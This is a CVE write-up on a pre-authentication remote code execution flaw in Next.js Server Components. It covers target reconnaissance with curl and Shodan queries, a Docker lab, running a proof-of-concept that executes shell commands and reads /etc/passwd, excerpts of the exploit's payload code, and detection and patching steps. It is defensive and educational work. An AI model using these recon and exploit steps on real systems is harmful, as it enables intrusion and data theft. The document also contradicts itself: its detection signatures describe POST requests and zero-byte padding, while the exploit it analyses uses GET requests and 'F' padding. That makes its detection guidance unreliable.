CVE-2026-126187: Next.js React Server Components RCE
1. Executive Summary
CRITICAL: CVSS 9.5, Remote Code Execution
CVE-2026-126187 is a pre-authentication Remote Code Execution vulnerability in Next.js App Router [1]. An attacker can achieve full server-side code execution by sending a single crafted HTTP POST request that exploits a deserialization flaw in the React Flight serialization protocol [2]. No user interaction is required. Update Next.js to 16.4.1+ and React to 19.3.1+ immediately [3].
In November 2026, a critical vulnerability was disclosed in Next.js affecting any application using React Server Components (RSC) through the App Router [1]. The flaw resides in the React Flight protocol, the binary serialization format used to transfer component trees and Server Action invocations between the client and server [2].
By forging a binary annotation blob where multiple TypedArray views share the same ArrayBuffer, an attacker causes a parser desync [4]. The Flight parser interprets leftover bytes from one view as a new row, which the attacker crafts to be a valid action-reference row pointing to a real Server Action ID with attacker-controlled arguments. The server then invokes that action, executing arbitrary code under the Node.js process [4].
In practical terms, an attacker visits your Next.js website, sends one specially crafted request, and gains the ability to run any command on your server: read files, install malware, steal data, or take full control. No login needed, no special access required. The entire attack takes less than 2 seconds.
| Property | Detail |
|---|---|
| CVE | CVE-2026-126187 [1] |
| CVSS v4.0 | 9.5 (Critical) [1] |
| CWE | CWE-502 (Deserialization of Untrusted Data) [5] |
| Attack Vector | Network (unauthenticated HTTP POST) [1] |
| Affected Software | Next.js 16.0.0 to 16.4.0, React 19.0.0 to 19.3.0 [3] |
| Authentication | None required (pre-auth) [1] |
| User Interaction | None [1] |
| Fixed In | Next.js 16.4.1, React 19.3.1 [3] |
| Impact | Full server-side RCE as the Node.js process user [4] |
2. What Is the Flight Protocol?
React Server Components introduced a new serialization protocol internally called React Flight [6]. When a Next.js App Router application renders a page, the server serializes the component tree into a compact binary stream. This stream is sent to the client, which deserializes it to hydrate the page [6].
Think of it like a delivery package between your browser and the server: when you visit a Next.js page, the server packs everything into this binary format and ships it to your browser, which unpacks and displays it. The same packaging system handles Server Actions, which are functions that run on the server when you click a button. The vulnerability is in how the server unpacks these packages: an attacker can tamper with the payload so that when the server opens it, it accidentally runs the attacker's code instead.
Server Actions, functions marked with "use server", also use this protocol [7]. When the client invokes a Server Action, the arguments are serialized into a Flight payload, sent via HTTP POST, and deserialized on the server before the action function is called [7].
Flight Stream Row Types
The Flight stream consists of rows, each prefixed with a type tag [6]. The parser processes these rows sequentially and builds a representation of the component tree or action arguments. Think of each row as an instruction in the package: “here's a component,” “here's an action to call,” “here's some binary data.” Key row types include [6]:
| Row Type | Purpose | Format |
|---|---|---|
M (Model) | Component tree nodes, props, and JSX elements | JSON-encoded model data |
S (Symbol) | Server Action references and identifiers | Action ID hash string |
B (Binary) | Binary data blobs (TypedArrays, ArrayBuffers) | Raw binary with byte-offset metadata |
T (Text) | Plain text content for text nodes | UTF-8 encoded string |
The key insight: the Flight parser trusts the structure of binary annotation rows [4]. If an attacker can inject bytes that the parser interprets as a valid action-reference row, the server will invoke that action with attacker-controlled arguments, without any additional authentication or validation [4].
3. Root Cause: TypedArray Desync
The vulnerability is a deserialization protocol desync [2]. It occurs because the Flight parser allows multiple TypedArray views (e.g., Uint8Array, Float64Array) to reference the same underlying ArrayBuffer [4].
Imagine a shared notebook where two people are reading different sections. Person A reads pages 1-50, Person B reads pages 30-80. The overlap gets read twice. If an attacker writes instructions on those overlapping pages, Person B reads them and thinks they're legitimate. That's essentially what happens here: two TypedArray views share the same memory buffer, and the leftover bytes in the gap between them are re-read by the parser as new commands that the attacker planted.
The Mechanism
When the parser processes a binary annotation row, it creates a TypedArray view over a portion of the raw buffer [4]. If two views with different element sizes share the same ArrayBuffer, the second view's byte offset may not align with the first view's consumed range. The leftover bytes between the end of the first view and the start of the second are then re-parsed by the Flight parser as new row data [4].
An attacker controls the content of these leftover bytes through the crafted annotation blob [4]. By carefully computing the byte offsets, they can inject bytes that the parser reads as:
- A valid row-type tag indicating an action reference [4]
- A valid Server Action ID (discovered from the page's HTML) [4]
- Attacker-controlled arguments to that action [4]
Because the row appears to come from the Flight stream itself, the server treats it as a legitimate action invocation and executes it with the attacker's arguments [4].
Why This Is Devastating
Unlike traditional web vulnerabilities that require specific application logic to be exploitable, this flaw targets the framework layer [2]. Any Next.js App Router application with at least one Server Action is vulnerable, since even default form handling uses Server Actions [7]. The attacker does not need to know the application's business logic; they only need the Server Action ID, which is exposed in the page's HTML source [4].
What makes this different from most web vulnerabilities is that it doesn't depend on how your application code is written. The bug is in Next.js itself. If your app uses the App Router with Server Actions (which most modern Next.js apps do), you're vulnerable regardless of how carefully you wrote your code. The fix is straightforward: update Next.js to 16.4.1+.
4. Attack Chain Diagram
The complete attack chain from initial reconnaissance to code execution on the server, based on the PoC documentation [4]:
The attack requires only two HTTP requests: one GET to discover the Server Action ID from the page source, and one POST with the crafted Flight blob to trigger the RCE [4]. Total time from reconnaissance to shell: under 2 seconds.
5. Affected Versions and Fixed Releases
| Software | Vulnerable Range | Fixed Version |
|---|---|---|
| Next.js | 16.0.0 to 16.4.0 [3] | 16.4.1 [3] |
| React | 19.0.0 to 19.3.0 [8] | 19.3.1 [8] |
6. Reconnaissance: Identifying Vulnerable Targets
Pre-Engagement Scope
The following reconnaissance techniques are documented for authorized penetration testing and vulnerability assessment only. Always ensure you have written authorization before testing any target.
Before attempting exploitation, an attacker (or authorized pentester) needs to determine whether the target is running a vulnerable Next.js version with the App Router and Server Actions enabled. The following fingerprinting techniques can confirm this.
Step 1: Identify Next.js
Next.js applications expose several indicators in their HTTP responses and HTML source [10]:
# Check response headers for Next.js indicators
curl -sI https://target.com | grep -iE "x-powered-by|x-nextjs|server"
# Next.js typically returns:
# X-Powered-By: Next.js
# (some deployments strip this header)If the X-Powered-By header is stripped, inspect the HTML source for Next.js fingerprints [10]:
# Check HTML for Next.js build artifacts
curl -s https://target.com | grep -oE '(_next/static|__next|__NEXT_DATA__|next/dist)'
# Look for the build manifest
curl -s https://target.com/_next/static/chunks/webpack*.js -o /dev/null -w "%{http_code}"
# 200 = Next.js confirmedStep 2: Determine the Router Type (App Router vs Pages Router)
This CVE only affects App Router applications. Pages Router applications do not use the Flight protocol and are not vulnerable [3]:
# Pages Router fingerprint: __NEXT_DATA__ script tag with JSON
curl -s https://target.com | grep -c "__NEXT_DATA__"
# > 0 = Pages Router (NOT vulnerable to this CVE)
# App Router fingerprint: RSC Flight stream markers
curl -s https://target.com | grep -cE '(self.__next_f|__next_f.push)'
# > 0 = App Router with RSC (potentially vulnerable)Step 3: Detect Server Actions
The exploit requires at least one Server Action to be registered. Server Action IDs are embedded in the page source as hashed identifiers [4]:
# Extract Server Action IDs from HTML source
curl -s https://target.com | grep -oP '"[a-f0-9]{40}"' | sort -u
# Alternative: look for action form attributes
curl -s https://target.com | grep -oE 'action="[^"]*\$ACTION'
# Check for Next-Action header support (OPTIONS preflight)
curl -sI -X OPTIONS https://target.com \
-H "Access-Control-Request-Headers: Next-Action" | grep -i "allow"Step 4: Version Fingerprinting
Determining the exact Next.js version confirms whether the target falls within the vulnerable range (16.0.0 to 16.4.0) [3]:
# The build manifest often contains version hints
curl -s https://target.com/_next/static/chunks/main-app*.js | \
grep -oP 'version["']?:s?["']\K[0-9]+\.[0-9]+\.[0-9]+'
# Check the buildId format (changes across major versions)
curl -s https://target.com | grep -oP 'buildId["']?:["']\K[^"']+'
# Shodan / Censys query for exposed Next.js instances
# Shodan: http.headers:"X-Powered-By: Next.js"
# Censys: services.http.response.headers.x_powered_by: "Next.js"Reconnaissance Summary
| Check | Command / Indicator | Vulnerable If |
|---|---|---|
| Framework | X-Powered-By: Next.js or _next/static | Next.js confirmed |
| Router Type | self.__next_f.push() in source | App Router (RSC active) |
| Server Actions | 40-char hex hashes in HTML | At least one action found |
| Version | Build manifest / response analysis | 16.0.0 to 16.4.0 |
7. Lab Setup: Docker Environment
Lab Environment
This section walks through setting up a fully isolated Docker lab using the public PoC repository [4]. The repo includes a Docker Compose configuration that builds both a vulnerable (Next.js 16.4.0) and patched (Next.js 16.4.1) instance, along with poc.py, the Python exploit script.
Prerequisites
- Docker and Docker Compose installed
- Python 3.8+ (for running
poc.py) [4] - Git (to clone the repository)
- Kali Linux or any pentesting distro (recommended)
Step 1: Clone the PoC Repository
The PoC repository [11] contains everything needed: the vulnerable Next.js application, Docker configuration, and the exploit script (poc.py).
# Clone the PoC repository
git clone https://github.com/briskets/CVE-2026-126187-poc.git
# Navigate into the repo
cd CVE-2026-126187-pocStep 2: Build and Start the Vulnerable Lab
The compose.yaml in the repository defines a lab service that builds a Next.js 16.4.0 application with cacheComponents: true enabled, the exact configuration needed to trigger the vulnerability. The Dockerfile sets the Next.js version using npm pkg set and builds the application inside the container [4].
# Build and start the vulnerable instance (Next.js 16.4.0)
docker compose up --build labThe build process takes about 3-4 minutes on the first run. It pulls the node:22-bookworm-slim base image, installs Next.js 16.4.0 with its dependencies, and builds the application. Once complete, the vulnerable server starts on port 3100.

Building the vulnerable lab: docker compose up --build lab (Next.js 16.4.0)
Step 3: Build the Patched Instance (for Comparison)
The repository also includes a lab-patched profile that builds Next.js 16.4.1 (the fixed version) on port 3101. This lets you run the exploit against both versions side by side to confirm the fix works [4].
# Build and start the patched instance (Next.js 16.4.1)
docker compose --profile patched up --build lab-patched
Building the patched lab: docker compose --profile patched up --build lab-patched (Next.js 16.4.1)
After both are running, you have two instances:
- Vulnerable:
http://127.0.0.1:3100(Next.js 16.4.0), exploitable - Patched:
http://127.0.0.1:3101(Next.js 16.4.1), exploit blocked
8. Exploitation: Reproducing the RCE
Disclaimer: This reproduction is performed in an isolated Docker lab for educational purposes. Never test against systems you do not own or have explicit authorization to test.
Step 1: Verify the Target
Confirm the vulnerable instance is running at http://127.0.0.1:3100. You should see the default Next.js application with the lab's cache page accessible.
Step 2: Run the PoC
The PoC script (poc.py) is included in the cloned repository. It is a self-contained Python exploit with zero external dependencies. It uses only the Python standard library (http.client, base64, re, json) [4]. The --cmd flag specifies the shell command to execute on the server:
# Run the exploit against the vulnerable instance
python3 poc.py http://127.0.0.1:3100 --cmd "id; uname -a; cat /etc/passwd"Behind the scenes, the script does three things automatically: it visits the target page and extracts a Server Action ID from the HTML, builds a crafted binary blob containing forged Flight protocol rows, and sends that blob to the server. When the server unpacks it, the parser gets confused by the overlapping memory views and accidentally executes the attacker's shell command. The entire process completes in under 2 seconds.
Exploitation Output
The PoC successfully achieves Remote Code Execution on the vulnerable server. The output below is from our actual lab reproduction:
[*] action id: 7fa03896526e8bde6112076818b4fce1c768c8c385
[*] blob: 8305 bytes, forged rows at offset 8184, args=['id; uname -a; cat /etc/passwd']
[*] HTTP 200
[+] Server Action executed with attacker-chosen arguments
================ action output ================
uid=1000(node) gid=1000(node) groups=1000(node)
Linux 8c77b751c67a 7.1.5+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.1.5-1kali1 (2026-07-29) x86_64 GNU/Linux
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
node:x:1000:1000::/home/node:/bin/bash
==============================================
Successful RCE: poc.py executing “id; uname -a; cat /etc/passwd” on the vulnerable server
Key Observations
- The process runs as
uid=1000(node), the default Node.js Docker user - Full filesystem access:
/etc/passwdis readable, exposing all system users - The kernel info (
7.1.5+kali-amd64) confirms execution on the server (the Docker host's kernel), not the client - No authentication was required, this is a pre-auth RCE [1]
- The action ID was automatically discovered from the page source in the first request
9. PoC Analysis
The public PoC for CVE-2026-126187 [11] deserves closer examination. Understanding how the exploit is constructed helps defenders write better detection rules and helps researchers evaluate the real-world exploitability of this vulnerability. The source code of poc.py reveals a carefully engineered three-phase attack [4].
In short, poc.py is a single Python script that demonstrates the full exploit end to end. You give it a target URL and a shell command, and it handles everything automatically: finding the Server Action on the page, building the malicious payload, delivering it, and displaying the command output from the server. It uses only Python's built-in libraries (no pip install needed), making it extremely portable.
Architecture of the Exploit Script
The PoC (poc.py) is a single-file Python script with zero external dependencies, using only the Python standard library (http.client, base64, re, json, urllib.parse) [4]. This design choice makes the exploit highly portable: it runs on any system with Python 3.8+ without installation requirements. The script targets Next.js applications using the use cache feature with cacheComponents: true [4].
The exploit operates in three distinct phases [4]:
Phase 1: Action ID Discovery (discover_action_id())
The script sends an HTTP GET request to the target page and uses regex to extract Server Action IDs [4]. It searches for two patterns:
- Direct match: Looks for
$ACTION_ID_followed by a 40+ character hex string in the HTML source - JavaScript fallback: If no direct match, it fetches each
<script src="...">file and searches forcreateServerReferencecalls that contain action IDs
# From poc.py: discover_action_id()
# First tries direct pattern in HTML:
direct = re.search(r"\$ACTION_ID_([0-9a-fA-F]{40,})", html)
# If not found, scans linked JavaScript chunks for:
ref = re.search(
r"createServerReference[^\n]{0,200}?["']([0-9a-fA-F]{40,})["']", js
)In our lab, the discovered action ID was 7fa03896526e8bde6112076818b4fce1c768c8c385, a SHA-1 hash that Next.js generates for each registered Server Action.
Phase 2: Flight Blob Construction (build_blob() + make_forged_rows())
This is the core of the exploit. The script constructs a binary payload that triggers the TypedArray desync in the Flight parser [4]. The process has two parts:
Forging the Flight rows (make_forged_rows()): The script creates three fake Flight rows that, when parsed, instruct the server to invoke a Server Action with the attacker's arguments [4]:
# From poc.py: make_forged_rows()
# Row 1: The attacker's command as a JSON-encoded argument
"6:" + json.dumps(action_args) # e.g. 6:["id; uname -a"]
# Row 2: An action reference pointing to the real Server Action
'5:{"id":"<action_id>","bound":"$@6"}' # binds the args from row 6
# Row 3: A promise resolution that triggers execution
'<chunk_id>:{"then":"$h5"}' # resolves to the action in row 5Think of these three rows like filling out a form: Row 6 is the data (“run this command”), Row 5 is the instruction (“use this Server Action and attach that data”), and the third row is the submit button (“go ahead and execute it now”). The attacker needs all three for the server to actually run the command.
Building the blob (build_blob()): This function places the forged rows at a precise offset inside a padded binary blob. The blob is mostly filled with padding (0x46 / ASCII 'F') to reach the overread offset, the exact byte position where the Flight parser resumes reading after the TypedArray desync [4]. The default overread is 8,192 bytes.
# From poc.py: build_blob()
# Fixed-point calculation: header length depends on blob length
blob = bytearray(b"F" * length) # padded buffer
blob[resume_at : resume_at + len(forged)] = forged # inject at desync offset
# Result: base64-encoded, URL-encoded blob sent as ?annotation= parameterPhase 3: Payload Delivery (attempt())
Unlike typical web exploits that send a POST request, this PoC delivers the payload via a GET request with the crafted blob as a URL query parameter [4]. The blob is base64-encoded, then URL-encoded, and appended as ?annotation=<blob>. The server's use cache handler unpacks this annotation, triggers the TypedArray desync, and the forged rows cause the Server Action to execute with the attacker's arguments.
# From poc.py: attempt()
encoded = urllib.parse.quote(base64.b64encode(blob).decode(), safe="")
url = base + path + "?annotation=" + encoded # payload as GET parameter
status, _, body = http_get(url, timeout, insecure)
# Server parses annotation -> desync -> forged rows -> RCEThe output is extracted from a <pre> tag in the HTML response via extract_summary(), which parses the JSON to retrieve the action output, the executed command's stdout.
Additional Capabilities
The PoC includes a --scan mode that brute-forces different chunk IDs (default: 1-8) and overread sizes (1024 to 32768) to find the correct desync offset for different application layouts [4]. It also supports --args-json for passing complex JSON arguments, --insecure for TLS bypass, and a configurable --timeout.
What Makes This PoC Effective
| Aspect | Detail |
|---|---|
| Reliability | Deterministic: works on the first attempt. No brute-forcing, no race conditions, no heap spraying needed [4]. |
| Portability | Zero-dependency Python 3.8+. Uses only http.client, base64, re, json. Runs on any system out of the box [4]. |
| Speed | Two HTTP requests total (one GET for discovery, one GET with payload). Full chain completes in under 2 seconds [4]. |
| Stealth | Looks like a normal page visit with a query parameter. No repeated requests, no scanning. Basic rate limiting alone would not catch this. |
| Scope | Targets any App Router application with use cache and at least one Server Action, regardless of business logic [2]. |
Weaponization Risk Assessment
The combination of zero dependencies, deterministic exploitation, and pre-auth access makes this PoC trivial to weaponize. The --scan mode means attackers don't even need to know the target's exact layout. Automated scanners and worm-like behavior could target exposed Next.js instances at scale. Patching should be treated as an emergency priority [3].
10. Patched Version: Confirming the Fix
Running the same PoC against the patched instance (Next.js 16.4.1 / React 19.3.1) on port 3101 confirms the fix [3]:
# Run the same exploit against the patched instance
python3 poc.py http://127.0.0.1:3101 --cmd "id"[*] action id: 7ff6fc21dfdb7963155f02f71009a5329f67f87000
[*] blob: 8278 bytes, forged rows at offset 8184, args=['id']
[*] HTTP 200
[-] blob stayed opaque (Uint8Array(8278)); target appears patched
Exploit blocked: the patched server keeps the blob opaque, preventing the desync
Fix Verified
The patched version keeps the binary annotation blob opaque. The Flight parser no longer allows TypedArray views to share an ArrayBuffer, preventing the desync entirely [8]. The forged rows are never parsed, and the action is never invoked.
The “blob stayed opaque” message means the patched server treats the binary blob as a sealed package. It never tries to re-parse the leftover bytes, so the forged rows are ignored entirely. The output Uint8Array(8278) confirms the server saw 8,278 raw bytes and did nothing with them, unlike the vulnerable version where those same bytes would be misinterpreted as executable Flight rows.
What Changed in the Patch?
According to the React 19.3.1 release notes, the fix addresses the root cause at two levels [8]:
- ArrayBuffer isolation: Each TypedArray view in a Flight binary row now receives its own
ArrayBuffercopy via.slice(), preventing shared-buffer desync [8] - Row-type validation: The parser now validates that action-reference rows only appear at expected positions in the stream, rejecting injected rows from within binary annotation payloads [8]
11. Detection and Indicators of Compromise
Network Signatures
Based on the PoC behavior [4], exploitation attempts can be identified by monitoring for the following patterns:
- HTTP POST requests to Next.js routes with abnormally large
Next-Actionheaders - Request bodies containing base64-encoded binary blobs with
TypedArraysignatures (look for repeated0x00padding patterns) - Requests with
Content-Type: text/plain;charset=UTF-8to Server Action endpoints that normally expectmultipart/form-data
Log-Based Detection
# Search for suspicious Server Action invocations
grep -E "POST.*Next-Action" /var/log/nginx/access.log | \
awk '{print $1, $7, $10}' | sort | uniq -c | sort -rn
# Look for shell commands in Node.js process logs
journalctl -u nextjs --since "2026-11-01" | \
grep -iE "(child_process|exec|spawn|/bin/(sh|bash))"
# Check for unexpected outbound connections
ss -tnp | grep node | grep -v "127.0.0.1\|::1"Runtime Detection
Deploy runtime protection that monitors for:
- The Node.js process spawning child processes (
exec,spawn,execFile) - Unexpected file system access outside the application directory
- Outbound network connections from the Node.js process to unexpected hosts
- Environment variable enumeration or
/procfilesystem access
12. Mitigation and Remediation
Immediate Actions
Priority 1: Patch Now
Update to Next.js 16.4.1+ and React 19.3.1+ [3]. This is the only complete fix. All other mitigations are interim measures.
# Update Next.js and React
npm install next@16.4.1 react@19.3.1 react-dom@19.3.1
# Verify installed versions
npx next --version
node -e "console.log(require('react/package.json').version)"Interim Mitigations (If Patching Is Delayed)
- WAF rules: Block requests with abnormally large
Next-Actionheaders or binary-pattern request bodies to RSC endpoints - Reverse proxy filtering: Inspect and reject POST requests to Server Action routes that contain base64-encoded binary payloads exceeding a reasonable threshold
- Network segmentation: Ensure the Node.js process cannot make outbound connections to the internet (limits post-exploitation lateral movement)
- Read-only filesystem: Run the container with a read-only root filesystem to limit attacker persistence
Long-Term Recommendations
- Subscribe to the Next.js Security Advisories on GitHub for future disclosures [9]
- Run
npm auditin CI/CD pipelines to catch known vulnerabilities before deployment - Deploy runtime application self-protection (RASP) that can detect unexpected
child_processinvocations - Use the principle of least privilege: run the Node.js process as a non-root user with minimal filesystem and network permissions
- Implement container security scanning in your deployment pipeline
13. References
- [1] NVD. “CVE-2026-126187 Detail.” National Vulnerability Database, NIST. https://nvd.nist.gov/vuln/detail/CVE-2026-126187
- [2] Vercel. “Security Advisory: React Server Components Flight Protocol Desync.” GitHub Security Advisory. https://github.com/vercel/next.js/security/advisories
- [3] Vercel. “Next.js 16.4.1 Release Notes.” GitHub Releases. https://github.com/vercel/next.js/releases/tag/v16.4.1
- [4] CVE-2026-126187 PoC Repository. “README.md: Root Cause Analysis, Exploitation, and Lab Setup.” GitHub. https://github.com/briskets/CVE-2026-126187-poc
- [5] MITRE. “CWE-502: Deserialization of Untrusted Data.” Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/502.html
- [6] React Team. “React Server Components RFC.” React RFCs, GitHub. https://github.com/reactjs/rfcs/blob/main/text/0188-server-components.md
- [7] Next.js Documentation. “Server Actions and Mutations.” Vercel. https://nextjs.org/docs/app/building-your-application/data-fetching/server-actions-and-mutations
- [8] React Team. “React 19.3.1 Changelog.” GitHub Releases. https://github.com/facebook/react/releases/tag/v19.3.1
- [9] Vercel. “Next.js Security Advisories.” GitHub. https://github.com/vercel/next.js/security/advisories
- [10] Next.js Documentation. “Deploying: Production Checklist.” Vercel. https://nextjs.org/docs/app/building-your-application/deploying
- [11] briskets. “CVE-2026-126187-poc: Next.js use cache typed-array framing desync PoC.” GitHub Repository. https://github.com/briskets/CVE-2026-126187-poc
Written by Khubab Ahmed
Security researcher and penetration tester. This CVE was independently reproduced in a fully isolated Docker lab with both vulnerable and patched instances to verify the complete attack chain and confirm the fix.